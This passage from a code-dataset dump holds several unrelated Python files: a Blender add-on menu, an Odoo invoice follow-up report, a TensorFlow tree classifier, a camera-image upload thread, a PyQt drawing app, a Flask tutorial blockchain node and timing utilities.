VIEW3D_MT_bstools(bpy.types.Menu):\n bl_label = \"QBlocker\"\n\n def draw(self, context):\n layout = self.layout\n layout.operator(\"object.box_create\", text=\"Plane / Cube\", icon='MESH_CUBE')\n layout.operator(\"object.cylinder_create\", text=\"Circle / Cylinder\", icon='MESH_CYLINDER')\n layout.operator(\"object.sphere_create\", text=\"Sphere\", icon='MESH_UVSPHERE')\n\n \ndef qblocker_menu(self, context):\n self.layout.menu(\"VIEW3D_MT_bstools\")\n self.layout.separator()\n\n\nclasses = (\n BoxCreateOperator,\n CylinderCreateOperator,\n SphereCreateOperator,\n VIEW3D_MT_bstools,\n)\n\n\ndef register():\n for cls in classes:\n print(cls.bl_label)\n bpy.utils.register_class(cls)\n bpy.types.VIEW3D_MT_object_context_menu.prepend(qblocker_menu)\n bpy.types.VIEW3D_MT_add.prepend(qblocker_menu)\n bpy.utils.register_class(QBlockerAddonPreferences)\n\n\ndef unregister():\n for cls in reversed(classes):\n bpy.utils.unregister_class(cls)\n bpy.types.VIEW3D_MT_object_context_menu.remove(qblocker_menu)\n bpy.types.VIEW3D_MT_add.remove(qblocker_menu)\n bpy.utils.unregister_class(QBlockerAddonPreferences)\n\nif __name__ == \"__main__\":\n register()\n","sub_path":"All_In_One/addons/QBlocker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"259439127","text":"# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\n\r\nfrom openerp import models, fields, api, tools\r\nfrom datetime import datetime\r\nfrom hashlib import md5\r\nfrom openerp.tools.misc import formatLang\r\nfrom openerp.tools.translate import _\r\nimport time\r\nfrom openerp.tools.safe_eval import safe_eval\r\nfrom openerp.tools import append_content_to_html, DEFAULT_SERVER_DATE_FORMAT\r\nimport math\r\n\r\nimport logging\r\n_logger = logging.getLogger(__name__)\r\n\r\n\r\nclass report_account_followup_report(models.AbstractModel):\r\n _inherit = \"account.followup.report\"\r\n\r\n @api.model\r\n def get_lines(self, context_id, line_id=None, public=False):\r\n # Get date format for the lang\r\n lang_code = context_id.partner_id.lang or self.env.user.lang or 'en_US'\r\n lang_ids = self.env['res.lang'].search([('code', '=', lang_code)], limit=1)\r\n date_format = lang_ids.date_format or DEFAULT_SERVER_DATE_FORMAT\r\n\r\n def formatLangDate(date):\r\n date_dt = datetime.strptime(date, DEFAULT_SERVER_DATE_FORMAT)\r\n return date_dt.strftime(date_format)\r\n\r\n lines = []\r\n res = {}\r\n today = datetime.today().strftime('%Y-%m-%d')\r\n line_num = 0\r\n for l in context_id.partner_id.unreconciled_aml_ids:\r\n if public and l.blocked:\r\n continue\r\n if l.debit <= 0:\r\n continue\r\n amount = l.currency_id and l.amount_residual_currency or l.amount_residual\r\n currency = l.currency_id or l.company_id.currency_id\r\n if currency not in res:\r\n res[currency] = []\r\n res[currency].append(l)\r\n for currency, aml_recs in res.items():\r\n total = 0\r\n total_issued = 0\r\n total_interest = 0\r\n total_allowance = 0\r\n total_all = 0\r\n aml_recs = sorted(aml_recs, key=lambda aml: aml.blocked)\r\n for aml in aml_recs:\r\n amount = aml.currency_id and aml.amount_residual_currency or aml.amount_residual\r\n date_due = formatLangDate(aml.date_maturity or aml.date)\r\n total += not aml.blocked and amount or 0\r\n total_interest += not aml.blocked and aml.payments_interests or 0\r\n total_allowance += not aml.blocked and aml.payments_allowances or 0\r\n is_overdue = today > aml.date_maturity if aml.date_maturity else today > aml.date\r\n is_payment = aml.payment_id\r\n if is_overdue or is_payment:\r\n total_issued += not aml.blocked and amount or 0\r\n if is_overdue:\r\n date_due = (date_due, 'color: red;')\r\n if is_payment:\r\n date_due = ''\r\n\r\n late_days = 0\r\n allowances = formatLang(self.env, 0, currency_obj=currency)\r\n interests = formatLang(self.env, 0, currency_obj=currency)\r\n total_due = formatLang(self.env, float(amount), currency_obj=currency)\r\n if amount > 0:\r\n late_days = aml.late_days > 0 and aml.late_days or 0\r\n allowances = formatLang(self.env, aml.payments_allowances, currency_obj=currency)\r\n interests = formatLang(self.env, aml.payments_interests, currency_obj=currency)\r\n total_due = formatLang(self.env, float(amount + aml.payments_interests + aml.payments_allowances), currency_obj=currency)\r\n amount = formatLang(self.env, amount, currency_obj=currency)\r\n \r\n line_num += 1\r\n lines.append({\r\n 'id': aml.id,\r\n 'name': aml.move_id.name,\r\n 'action': aml.get_model_id_and_name(),\r\n 'move_id': aml.move_id.id,\r\n 'type': is_payment and 'payment' or 'unreconciled_aml',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'columns': [formatLangDate(aml.date), date_due, late_days] + (not public and [aml.expected_pay_date and (aml.expected_pay_date, aml.internal_note) or ('', ''), aml.blocked] or []) + [amount, allowances, interests, total_due],\r\n 'blocked': aml.blocked,\r\n })\r\n total_all = total_issued + total_interest + total_allowance\r\n total = formatLang(self.env, total, currency_obj=currency)\r\n line_num += 1\r\n lines.append({\r\n 'id': line_num,\r\n 'name': '',\r\n 'type': 'total',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'level': 0,\r\n 'columns': (not public and ['', ''] or []) + ['', '', '', '', '', total >= 0 and _('Total Due') or ''] + [total],\r\n })\r\n if total_issued > 0:\r\n total_issued = formatLang(self.env, total_issued, currency_obj=currency)\r\n line_num += 1\r\n lines.append({\r\n 'id': line_num,\r\n 'name': '',\r\n 'type': 'total',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'level': 0,\r\n 'columns': (not public and ['', ''] or []) + ['', '', '', '', '', _('Total Overdue')] + [total_issued],\r\n })\r\n if total_interest > 0:\r\n total_interest = formatLang(self.env, total_interest, currency_obj=currency)\r\n line_num += 1\r\n lines.append({\r\n 'id': line_num,\r\n 'name': '',\r\n 'type': 'total',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'level': 0,\r\n 'columns': (not public and ['', ''] or []) + ['', '', '', '', '', _('Interests Total')] + [total_interest],\r\n })\r\n if total_allowance > 0:\r\n total_allowance = formatLang(self.env, total_allowance, currency_obj=currency)\r\n line_num += 1\r\n lines.append({\r\n 'id': line_num,\r\n 'name': '',\r\n 'type': 'total',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'level': 0,\r\n 'columns': (not public and ['', ''] or []) + ['', '', '', '', '', _('Allowance Total')] + [total_allowance],\r\n })\r\n total_all = formatLang(self.env, total_all, currency_obj=currency)\r\n line_num += 1\r\n lines.append({\r\n 'id': line_num,\r\n 'name': '',\r\n 'type': 'total',\r\n 'footnotes': {},\r\n 'unfoldable': False,\r\n 'level': 0,\r\n 'columns': (not public and ['', ''] or []) + ['', '', '', '', '', total >= 0 and _('Total') or ''] + [total_all],\r\n })\r\n return lines\r\n\r\nclass account_report_context_followup(models.TransientModel):\r\n _inherit = \"account.report.context.followup\"\r\n\r\n def get_columns_names(self):\r\n if self.env.context.get('public'):\r\n return [_(' Date '), _(' Due Date '), _('Overdue days'), _('Amount'), _('Allowances'), _('Interests'), _(' Total Due ')]\r\n return [_(' Date '), _(' Due Date '), _('Overdue days'), _(' Expected Date '), _(' Excluded '), _('Amount'), _('Allowance'), _('Interests'), _(' Total Due ')]\r\n\r\n @api.multi\r\n def get_columns_types(self):\r\n if self.env.context.get('public'):\r\n return ['date', 'date', 'number', 'number', 'number', 'number', 'number']\r\n return ['date', 'date', 'number', 'date', 'checkbox', 'number', 'number', 'number', 'number']\r\n","sub_path":"account_followup_interrests/models/account_followup_report.py","file_name":"account_followup_report.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"46047165","text":"import tensorflow as tf \nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.preprocessing.image import load_img\nfrom tensorflow.keras.preprocessing.image import img_to_array\nimport PIL\nimport numpy as np\n\ntrees = ['Angsana',\n 'Batoko Plum',\n 'Broad-leafed Mahogany',\n 'Casuarina',\n 'Chengal Pasir',\n 'Gelam',\n 'Golden Penda',\n 'Hankerchief Tree',\n 'Leopard Tree',\n 'Madagascar Almond',\n 'Pink Mempat',\n 'Rain Tree',\n 'Red Lip',\n 'Sea Almond',\n 'Sea Gutta',\n 'Trumpet Tree']\n\n# load and prepare the image\ndef load_image(filename):\n\t# load the image from path\n\timg = load_img(filename, target_size=(224, 224))\n\t# convert to array\n\timg = img_to_array(img) / 255\n\t# reshape into a single sample with 3 channels\n\timg = img.reshape(1, 224, 224, 3)\n\treturn img\n\ndef classifier(image_file):\n\t# load the image\n img = load_image(image_file)\n\t# load model\n model = load_model('models/model1.h5')\n\t# predict the class\n result = model.predict(img)\n proba = (round(np.max(result)*100, 2))\n pred = trees[result[0].argmax()]\n # print(pred)\n return pred, proba\n\n# def get_class_details(class_name):\n# with open('makandex.json', 'r') as myfile:\n# data=myfile.read()\n# obj = json.loads(data)\n# name = obj[class_name]['name']\n# class_type = obj[class_name]['type']\n# desc = obj[class_name]['description1']\n# return name, class_type, desc","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"390420518","text":"import threading\nfrom collections import OrderedDict\nimport json\nimport requests\nfrom datetime import datetime\nimport base64\nimport os\nfrom time import sleep\n\n\nclass imageHandler(threading.Thread):\n\tdef __init__(self, jsondata):\n\t\tthreading.Thread.__init__(self)\n\t\tself.jsondata = jsondata\n\t\t# self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\tself.url = \"http://\" + self.jsondata.getServerIp() + \":8080/RaSec/photos\"\n\t\tself.date = \"\"\n\t\treturn\n\n\tdef sendImage(self):\n\t\twhile(True):\n\t\t\t# print(self.jsondata.getCamera())\n\t\t\tif self.jsondata.getCamera():\n\t\t\t\tdata = OrderedDict()\n\t\t\t\tfilelist = os.listdir(\"./pic\")\n\t\t\t\timgname = './pic/' + filelist[-1]\n\n\t\t\t\twith open(imgname, mode='rb') as file:\n\t\t\t\t\timg = file.read()\n\n\t\t\t\tdata['name'] = str(datetime.now().month) + '-' + str(datetime.now().day) + \\\n\t\t\t\t\t\t\t '-' + str(datetime.now().hour) + '-' + str(datetime.now().minute) + \\\n\t\t\t\t\t\t\t '-' + str(datetime.now().second)\n\t\t\t\t# img_bytes = \"\".join(map(chr, img))\n\t\t\t\t# data['imageByte'] = img_bytes\n\t\t\t\t# tmp = base64.encodebytes(img).decode(\"utf-8\")\n\t\t\t\t# print(type(tmp))\n\t\t\t\t# data['imageByte'] = base64.encodebytes(img).decode(\"utf-8\")\n\t\t\t\tdata['imageByte'] = str(base64.b64encode(img))\n\t\t\t\t# print(str(base64.b64decode(img)))\n\t\t\t\theaders = {'Content-Type': 'application/json'}\n\t\t\t\tpayload = json.dumps(data, ensure_ascii=False, indent='\\t')\n\t\t\t\tresponse = requests.put(self.url, data=payload, headers=headers)\n\t\t\t\tprint(response)\n\t\t\t\tself.jsondata.setCamera(False)\n\n\t\t\tsleep(2.0)\n\n\t\t# threading.Timer(1.0, self.sendImage()).start()\n\t\treturn\n\n\tdef run(self):\n\t\tself.sendImage()\n\t\treturn\n","sub_path":"coapthon_rasec/handleImage.py","file_name":"handleImage.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"515149940","text":"import os\r\nimport platform\r\nimport sys\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nclass PenWidthDlg(QDialog):\r\n def __init__(self, parent=None):\r\n super(PenWidthDlg, self).__init__(parent)\r\n \r\n widthLabel = QLabel(\"宽度:\")\r\n self.widthSpinBox = QSpinBox()\r\n widthLabel.setBuddy(self.widthSpinBox)\r\n self.widthSpinBox.setAlignment(Qt.AlignRight|Qt.AlignVCenter)\r\n self.widthSpinBox.setRange(0, 50)\r\n \r\n okButton = QPushButton(\"ok\")\r\n cancelButton = QPushButton(\"cancle\")\r\n\r\n layout = QGridLayout()\r\n layout.addWidget(widthLabel,0,0)\r\n layout.addWidget(self.widthSpinBox,0,1)\r\n layout.addWidget(okButton,1,0)\r\n layout.addWidget(cancelButton,1,1)\r\n self.setLayout(layout)\r\n self.setWindowTitle(\"宽度设置\")\r\n\r\n okButton.clicked.connect(self.accept)\r\n cancelButton.clicked.connect(self.reject)\r\n\r\nclass myMainWindow(QMainWindow):\r\n def __init__(self,parent=None):\r\n super().__init__(parent)\r\n self.setWindowTitle(\"draw\")\r\n self.pix=QPixmap()\r\n self.lastPoint=QPoint()\r\n self.endPoint=QPoint()\r\n #初始化参数\r\n self.initData()\r\n #清空画布\r\n self.initView()\r\n #菜单栏\r\n self.Menu = self.menuBar().addMenu(\"菜单\")\r\n\r\n #清空\r\n self.ClearAction = QAction(QIcon(\"images/clear.png\"), \"清空\", self)\r\n self.ClearAction.triggered.connect(self.initView)\r\n self.Menu.addAction(self.ClearAction)\r\n\r\n #调画笔颜色\r\n self.changeColor = QAction(QIcon(\"images/icon.png\"), \"颜色\", self)\r\n self.changeColor.triggered.connect(self.showColorDialog)\r\n self.Menu.addAction(self.changeColor)\r\n\r\n #调画笔粗细\r\n self.changeWidth = QAction(QIcon(\"images/width.png\"), \"宽度\", self)\r\n self.changeWidth.triggered.connect(self.showWidthDialog)\r\n self.Menu.addAction(self.changeWidth)\r\n\r\n\r\n # #右侧停靠窗口\r\n # logDockWidget=QDockWidget(\"Log\",self)\r\n # logDockWidget.setAllowedAreas(Qt.LeftDockWidgetArea|Qt.RightDockWidgetArea)\r\n # self.listWidget=QListWidget()\r\n # logDockWidget.setWidget(self.listWidget)\r\n # self.addDockWidget(Qt.RightDockWidgetArea,logDockWidget)\r\n\r\n #各种动作\r\n self.fileOpenAction = QAction(QIcon(\"images/fileopen.png\"), \"&Open\", self)\r\n self.fileOpenAction.setShortcut(QKeySequence.Open)\r\n self.fileOpenAction.setToolTip(\"Open an image.\")\r\n self.fileOpenAction.setStatusTip(\"Open an image.\")\r\n self.fileOpenAction.triggered.connect(self.fileOpen)\r\n\r\n self.fileSaveAction = QAction(QIcon(\"images/filesave.png\"), \"&Save\", self)\r\n self.fileSaveAction.setShortcut(QKeySequence.Save)\r\n self.fileSaveAction.setToolTip(\"Save an image.\")\r\n self.fileSaveAction.setStatusTip(\"Save an image.\")\r\n self.fileSaveAction.triggered.connect(self.fileSaveAs)\r\n \r\n #工具栏\r\n fileToolbar = self.addToolBar(\"文件\")\r\n fileToolbar.addAction(self.fileOpenAction)\r\n fileToolbar.addAction(self.fileSaveAction)\r\n\r\n editToolbar = self.addToolBar(\"清空\")\r\n editToolbar.addAction(self.ClearAction)\r\n\r\n colorToolbar = self.addToolBar(\"颜色\")\r\n colorToolbar.addAction(self.changeColor)\r\n\r\n widthToolbar = self.addToolBar(\"宽度\")\r\n widthToolbar.addAction(self.changeWidth)\r\n \r\n #状态栏\r\n self.sizeLabel=QLabel()\r\n self.sizeLabel.setFrameStyle(QFrame.StyledPanel|QFrame.Sunken)\r\n status=self.statusBar()\r\n status.setSizeGripEnabled(False)\r\n status.addPermanentWidget(self.sizeLabel)\r\n status.showMessage(\"Ready\",5000)\r\n\r\n def initData(self):\r\n self.size = QSize(1000,1040)\r\n self.pixmap = QPixmap(self.size)\r\n\r\n self.dirty = False\r\n self.filename = None\r\n self.recentFiles = []\r\n\r\n #新建画笔\r\n self.width = 5\r\n self.color = QColor(0, 0, 0)\r\n self.pen = QPen() # 实例化画笔对象\r\n self.pen.setColor(self.color) #设置画笔颜色\r\n self.pen = QPen(Qt.SolidLine) #实例化画笔对象.参数:画笔样式\r\n self.pen.setWidth(self.width) #设置画笔粗细\r\n \r\n #新建绘图工具\r\n self.painter = QPainter(self.pixmap)\r\n self.painter.setPen(self.pen)\r\n \r\n #鼠标位置\r\n self.__lastPos = QPoint(0,0)#上一次鼠标位置\r\n self.__currentPos = QPoint(0,0)#当前的鼠标位置\r\n \r\n \r\n self.image = QImage()\r\n \r\n def initView(self):\r\n #设置界面的尺寸为__size\r\n self.Clear()\r\n self.imageLabel = QLabel()\r\n self.imageLabel.setPixmap(self.pixmap)\r\n self.setCentralWidget(self.imageLabel)\r\n \r\n def Clear(self):\r\n #清空画板\r\n self.pixmap.fill(Qt.white)\r\n self.update()\r\n self.dirty = False\r\n\r\n def mousePressEvent(self,event):\r\n #鼠标按下时,获取鼠标的当前位置保存为上一次位置\r\n\r\n pointX = event.globalX()\r\n pointY = event.globalY()\r\n self.__currentPos = QPoint(pointX,pointY)\r\n self.dirty = True\r\n self.__currentPos = event.pos()\r\n self.__lastPos = self.__currentPos\r\n \r\n \r\n def mouseMoveEvent(self,event):\r\n \r\n #鼠标移动时,更新当前位置,并在上一个位置和当前位置间画线\r\n self.__currentPos = event.pos()\r\n #pointX = event.globalX()\r\n #pointY = event.globalY()\r\n #self.__currentPos = QPoint(pointX,pointY)\r\n \r\n #画线\r\n #用begin和end抱起来,表示针对这个对象,就可以在pixmap有图的情况下继续画画 \r\n self.painter.begin(self.pixmap)\r\n \r\n self.painter.setPen(self.pen)\r\n self.painter.drawLine(self.__lastPos, self.__currentPos)\r\n \r\n self.__lastPos = self.__currentPos \r\n self.painter.end() \r\n self.update() #更新显示\r\n self.imageLabel.setPixmap(self.pixmap)\r\n \r\n \r\n \r\n\r\n #调画笔颜色\r\n def showColorDialog(self):\r\n col = QColorDialog.getColor()\r\n self.pen.setColor(col)\r\n self.painter.setPen(self.pen)\r\n\r\n def updateWidth(self):\r\n self.pen.setWidth(self.width)\r\n self.painter.setPen(self.pen)\r\n \r\n def showWidthDialog(self):\r\n dialog = PenWidthDlg(self)\r\n dialog.widthSpinBox.setValue(self.width)\r\n if dialog.exec_():\r\n self.width = dialog.widthSpinBox.value()\r\n self.updateWidth()\r\n\r\n ###########################################################\r\n def okToContinue(self): #警告当前图像未保存\r\n if self.dirty:\r\n reply = QMessageBox.question(self,\r\n \"Image Changer - Unsaved Changes\",\r\n \"图片已被更改,请问要保存吗?\",\r\n QMessageBox.Yes|QMessageBox.No|QMessageBox.Cancel)\r\n if reply == QMessageBox.Cancel:\r\n return False\r\n elif reply == QMessageBox.Yes:\r\n return self.fileSaveAs()\r\n return True\r\n \r\n def fileOpen(self):\r\n if not self.okToContinue():\r\n return\r\n dir = (os.path.dirname(self.filename)\r\n if self.filename is not None else \".\")\r\n formats = ([\"*.{}\".format(format.data().decode(\"ascii\").lower())\r\n for format in QImageReader.supportedImageFormats()])\r\n fname = QFileDialog.getOpenFileName(self,\r\n \"Image Changer - Choose Image\", dir,\r\n \"Image files ({})\".format(\" \".join(formats)))\r\n if fname:\r\n print(fname[0])\r\n self.loadFile(fname[0])\r\n self.updateFileMenu()\r\n \r\n def loadFile(self, fname=None):\r\n if fname is None:\r\n action = self.sender()\r\n if isinstance(action, QAction):\r\n fname = action.data()\r\n if not self.okToContinue():\r\n return\r\n else:\r\n return\r\n if fname:\r\n self.filename = None\r\n image = QImage(fname)\r\n if image.isNull():\r\n message = \"Failed to read {}\".format(fname)\r\n else:\r\n self.addRecentFile(fname)\r\n self.image = QImage()\r\n #self.editUnMirrorAction.setChecked(True)\r\n self.image = image\r\n self.filename = fname\r\n self.showImage()\r\n self.dirty = False\r\n self.sizeLabel.setText(\"{} x {}\".format(\r\n image.width(), image.height()))\r\n message = \"Loaded {}\".format(os.path.basename(fname))\r\n self.updateStatus(message)\r\n \r\n def updateStatus(self, message):\r\n self.statusBar().showMessage(message, 5000)\r\n #self.listWidget.addItem(message)\r\n if self.filename:\r\n self.setWindowTitle(\"Image Changer - {}[*]\".format(\r\n os.path.basename(self.filename)))\r\n elif not self.image.isNull():\r\n self.setWindowTitle(\"Image Changer - Unnamed[*]\")\r\n else:\r\n self.setWindowTitle(\"Image Changer[*]\")\r\n self.setWindowModified(self.dirty)\r\n\r\n\r\n def updateFileMenu(self):\r\n self.Menu.clear()\r\n self.Menu.addAction(self.fileOpenAction)\r\n self.Menu.addAction(self.fileSaveAction)\r\n current = self.filename\r\n recentFiles = []\r\n print(self.recentFiles)\r\n for fname in self.recentFiles:\r\n if fname != current and QFile.exists(fname):\r\n recentFiles.append(fname)\r\n if recentFiles:\r\n self.fileMenu.addSeparator()\r\n for i, fname in enumerate(recentFiles):\r\n action = QAction(QIcon(\"images/icon.png\"),\r\n \"&{} {}\".format(i + 1, QFileInfo(\r\n fname).fileName()), self)\r\n action.setData(fname)\r\n action.triggered.connect(lambda: self.loadFile(fname))\r\n self.fileMenu.addAction(action)\r\n\r\n def addRecentFile(self, fname):\r\n if fname is None:\r\n return\r\n if fname not in self.recentFiles: \r\n if len(self.recentFiles) < 10:\r\n self.recentFiles = [fname] + self.recentFiles\r\n else:\r\n self.recentFiles = [fname] + self.recentFiles[:8]\r\n print(len(self.recentFiles))\r\n\r\n def fileSaveAs(self):\r\n savePath = QFileDialog.getSaveFileName(self, 'Save Your Paint', '.\\\\', '*.png')\r\n print(savePath)\r\n if savePath[0] == \"\":\r\n print(\"Save cancel\")\r\n return\r\n image = self.pixmap\r\n print(\"save...\")\r\n image.save(savePath[0])\r\n self.updateStatus(\"Saved as {}\".format(savePath))\r\n\r\n def showImage(self, percent=None):\r\n if self.image.isNull():\r\n return\r\n self.pixmap = QPixmap.fromImage(self.image)\r\n self.imageLabel.setPixmap(self.pixmap)\r\n\r\n\r\napp=QApplication(sys.argv)\r\nform=myMainWindow()\r\nform.setMinimumSize(1000,1000)\r\nform.show()\r\napp.exec_()\r\n","sub_path":"py-code/draw/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":11897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"92003149","text":"# Module 2 - Create a Cryprocurrency\n\n# Import libraries\n# from crypt import methods\nimport datetime\nimport hashlib\nimport json\nfrom urllib import response\nfrom flask import Flask, jsonify, request\nimport requests\nfrom uuid import uuid4\nfrom urllib.parse import urlparse \n\n# Part I - Building a Blockchain\nclass Blockchain:\n\n def __init__(self):\n self.chain = []\n # list of transactions in the wait list\n self.transactions = []\n self.createBlock(proof = 1, previousHash = '0')\n self.nodes = set()\n\n def createBlock(self, proof, previousHash):\n block = {\n 'index': len(self.chain) + 1,\n 'timestamp': str(datetime.datetime.now()),\n 'proof': proof,\n 'previousHash': previousHash,\n 'transactions': self.transactions\n }\n # update transactions list\n self.transactions = []\n self.chain.append(block)\n return block\n\n def getPreviousBlock(self):\n return self.chain[-1]\n\n def proofOfWork(self, previousProof):\n newProof = 1\n checkProof = False\n while checkProof is False:\n hashOperation = hashlib.sha256(str(newProof**2 - previousProof**2).encode()).hexdigest()\n if hashOperation[:4] == \"0000\":\n checkProof = True\n else:\n newProof += 1\n return newProof\n \n def hash(self, block):\n encodedBlock = json.dumps(block, sort_keys = True).encode()\n return hashlib.sha256(encodedBlock).hexdigest()\n \n # check hash of revious block is valid \n # check if is valid fallowing the proofofwork\n def isChainValid(self, chain):\n previousBlock = chain[0]\n blockIndex = 1\n while blockIndex < len(chain):\n block = chain[blockIndex]\n if block['previousHash'] != self.hash(previousBlock):\n return False\n previousProof = previousBlock['proof']\n proof = block['proof']\n hashOperation = hashlib.sha256(str(proof**2 - previousProof**2).encode()).hexdigest()\n if hashOperation[:4] != \"0000\":\n return False\n previousBlock = block\n blockIndex += 1\n return True\n\n def addTransaction(self, sender, receiver, amount):\n self.transactions.append({\n 'sender': sender,\n 'receiver': receiver,\n 'amount': amount,\n })\n previousBlock = self.getPreviousBlock()\n return previousBlock['index'] + 1\n \n def addNode(self, address):\n parsedUrl = urlparse(address)\n self.nodes.add(parsedUrl.netloc)\n\n def replaceChain(self):\n network = self.nodes\n longest_chain = None\n max_length = len(self.chain)\n for node in network:\n print(node)\n response = requests.get(f'http://{node}/get_chain')\n print(response.json())\n if response.status_code == 200:\n length = int(response.json()[0]['length'])\n chain = response.json()[0]['chain']\n if length > max_length and self.isChainValid(chain):\n max_length = length\n longest_chain = chain\n if longest_chain:\n self.chain = longest_chain\n return True\n return False\n\n\n# -----\n\n# Part II - Mining a blockchain\n# Creating a Web App\napp = Flask(__name__)\napp.config['JSONIFY_PRETTYPRINT_REGULAR'] = False\n\n# Creating an address for the node on Port 5000\nnodeAddress = str(uuid4()).replace('-', '')\n\n# Createing a Blockchain\nblockchain = Blockchain()\n\n# Mining a new block\n@app.route('/mine_block', methods=['GET'])\ndef mineBlock():\n previousBlock = blockchain.getPreviousBlock()\n # previousBlockTrim = copy(previousBlock)\n previousProof = previousBlock['proof']\n # previousBlockTrim.pop('hash')\n \n previousHash = blockchain.hash(previousBlock)\n proof = blockchain.proofOfWork(previousProof)\n blockchain.addTransaction(sender=nodeAddress, receiver='A', amount=1)\n block = blockchain.createBlock(proof, previousHash)\n response = {\n 'message': 'Block mined!',\n 'index': block['index'],\n 'timestamp': block['timestamp'],\n 'proof': block['proof'],\n 'previousHash': block['previousHash'],\n 'transactions': block['transactions']\n # 'hash': block['hash']\n }\n return jsonify(response, 200)\n\n# Get all blockchain\n@app.route('/get_chain', methods=['GET'])\ndef getChain():\n response = {\n 'length': len(blockchain.chain),\n 'chain': blockchain.chain,\n }\n return jsonify(response, 200)\n\n\"\"\" @app.route('/is_valid', methods=['GET'])\ndef isValid():\n response = {\n 'status': blockchain.isChainValid(blockchain.chain)\n }\n return jsonify(response, 200) \"\"\"\n\n@app.route('/replaceChain', methods=['GET'])\ndef replaceChain():\n isChainReplaced = blockchain.replaceChain()\n if isChainReplaced:\n response = {\n 'message': 'The nodes had different chains so the chain was replaced by the longest one!',\n 'newChain': blockchain.chain\n }\n else:\n response = {\n 'message': 'All good. The chain is the largest one.',\n 'actualChain': blockchain.chain\n }\n \n return jsonify(response, 200)\n\n# Part III - Decentralizing our Blockchain\n@app.route('/add_transaction', methods=['POST'])\ndef add_transaction():\n json = request.get_json()\n transactionKeys = ['sender', 'receiver', 'amount']\n if not all (key in json for key in transactionKeys):\n return jsonify({\n 'message': 'Some elements of the transaction are missing'\n }, 400)\n index = blockchain.addTransaction(json['sender'], json['receiver'], json['amount'])\n return jsonify({\n 'message': f'This transaction will be added to block {index}'\n }, 201)\n \n# Connecting new nodes\n@app.route('/connect_node', methods=['POST'])\ndef connectNode():\n json = request.get_json()\n nodes = json.get('nodes')\n if nodes is None:\n return jsonify({\n 'message': 'No nodes'\n }, 400)\n for node in nodes:\n blockchain.addNode(node)\n return jsonify({\n 'message': 'All the nodes are now connected!',\n 'totalNodes' : list(blockchain.nodes)\n }, 201)\n\n\n# Running app\napp.run(host = '0.0.0.0', port = 5001)\n\n\n# print(\"Hello\")\n# a = Blockchain()\n# Blockchain.createBlock(a, 2,\"A\")\n# Blockchain.createBlock(a, 2,\"B\")\n\n","sub_path":"udemy/blockchain-az/Module 2 - Create a Cryptocurrency/filcoin_node_5001.py","file_name":"filcoin_node_5001.py","file_ext":"py","file_size_in_byte":5914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"307906845","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# Thomas Quintana \n\nfrom jobber.constants import MS_WEEK, MS_DAY, MS_HOUR, MS_MINUTE, MS_SECOND\n\ndef format_ms(ms):\n \"\"\"\n Returns a formatted string for a period of time in milliseconds.\n\n Positional Arguments:\n period -- the period of time in milliseconds to be formatted.\n \"\"\"\n\n result = ''\n if ms >= MS_WEEK:\n result += '{} week(s) '.format(ms / MS_WEEL)\n ms = ms % MS_WEEK\n\n if ms >= MS_DAY:\n result += '{} day(s) '.format(ms / MS_DAY)\n ms = ms % MS_DAY\n\n if ms >= MS_HOUR:\n result += '{} hour(s) '.format(ms / MS_HOUR)\n ms = ms % MS_HOUR\n\n if ms >= MS_MINUTE:\n result += '{} minute(s) '.format(ms / MS_MINUTE)\n ms = ms % MS_MINUTE\n\n if ms >= MS_SECOND:\n result += '{} second(s) '.format(ms / MS_SECOND)\n ms = ms % MS_SECOND\n\n if ms > 0:\n result += '{} millisecond(s)'.format(ms)\n else:\n result = result[:-1]\n \n return result\n\ndef object_fully_qualified_name(o):\n \"\"\"\n Return the fully qualified name of an object.\n\n Positional arguments:\n o -- the object.\n \"\"\"\n\n return \"{}.{}\".format(o.__class__.__module__, o.__class__.__name__)\n\ndef time_delta_ms(start_time, end_time):\n \"\"\"\n Returns a time delta between a start time and end time in milliseconds.\n\n Positional arguments:\n start_time -- the start time.\n end_time -- the end time.\n \"\"\"\n\n return int((end_time - start_time) * MS_SECOND)\n\ndef time_to_ms(time):\n \"\"\"\n Convert the output of time.time to milliseconds.\n\n Positional arguments:\n time -- the input time.\n \"\"\"\n\n return int(time * MS_SECOND)\n","sub_path":"jobber/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"151361082","text":"# -*- coding: utf-8 -*-\n\n# https://github.com/neptune-ml/open-solution-home-credit/blob/solution-5/notebooks/eda-application.ipynb\n\nimport gc\nimport time\nimport sys\nfrom 